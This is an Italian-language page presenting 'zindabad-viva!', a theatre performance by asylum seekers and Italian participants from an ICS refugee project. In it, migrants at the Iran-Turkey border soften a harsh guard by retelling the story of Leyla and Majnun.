zindabad-viva!

cdm4 cdm5 cdm7Performance teatrale a cura di Barbara Sinicco

con i partecipanti al progetto teatrale dell’ICS-Ufficio Rifugiati-Consorzio Italiano di Solidarietà

Nasim Pardes, Silvia Mancaleoni, Mamadou Diallo, Giulia Binali, Zabiullah Ahmadi, Khouzama Reda

promosso da ICS, Associazione culturale Fabbrica delle bucce-arte e spettacolo, Arci-Circolo l’Officina

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Può una storia d’amore smuovere l’arido cuore di un dittatore che vigila alla frontiera Iran-Turchia?

Sì, se la storia è quella di “Leila e Majnun”, i Romeo e Giulietta d’Oriente, e se a raccontarla, tra realtà e finzione scenica, con ironia e generosità, sono i giovani che a quella frontiera ci sono realmente passati.

Lo spettacolo realizzato, è frutto di un lavoro collettivo nato da un progetto teatrale con alcuni richiedenti asilo politico e partecipanti italiani e stranieri.

E’ la rappresentazione della nostra forma di opposizione alla barbarie dei confini, alla mercificazione di una possibilità di vita, alla logica degli interessi. Questa forma è stata l’atto artistico, la bellezza, la poesia.

Sinossi

Siamo sulla linea di confine Iran-Turchia, dove tanti arrivano dopo un estenuante, pericoloso e doloroso viaggio. Arrivano soprattutto dall’Afganistan, dal Pakistan, dal Medioriente.

Non hanno scelto di fare questo viaggio. Hanno abbandonato madri, padri, mogli e figli. La loro vita, spesso -quasi normale-, un lavoro, una famiglia, gli studi, gli amici, è stata sconvolta dalla guerra, dalle persecuzioni, dai fanatici, dalle bombe. A volte hanno semplicemente fatto una scelta mal tollerata dalla società tradizionale, un amore non approvato, un cambio di religione, permettersi di dire cose contro il governo….

Adesso sono a questo confine. La guardia che li scopre si approfitta della loro debolezza, sa dove andare a colpirli, sa che resterà impunito.

Ma con questo spettacolo non abbiamo voluto raccontarvi solo questo. Il teatro serve anche per immaginare cose diverse, che ci diano speranza, e infatti con ironia e saggezza, abbiamo scelto di immaginare che anche questa guardia abbia i suoi punti deboli, abbia qualcosa di umano, e lo andiamo a toccare proprio lì, sul cuore, attraverso una storia che viene raccontata da una delle migranti. E’ una storia che tutti conoscono in Asia e Medioriente, è la storia di Leyla e Majnun, gli sfortunati innamorati, Romeo e Giulietta orientali insomma.

La storia, nelle sue diverse versioni, era conosciuta da tutto il gruppo, quindi è stata perfetta per interpretarla nuovamente, giocarci su, trasformarla.

Tutti i migranti personaggi-più una giornalista infiltrata-giocano a turno a interpretare la storia davanti alla rigida guardia, che piano piano, si scioglie.

Un happy end è necessario, almeno nella finzione.

Ma la finzione in questo caso ben s’intreccia alla realtà, perchè davvero i protagonisti di questa performance, ci sono passati a quella frontiera.

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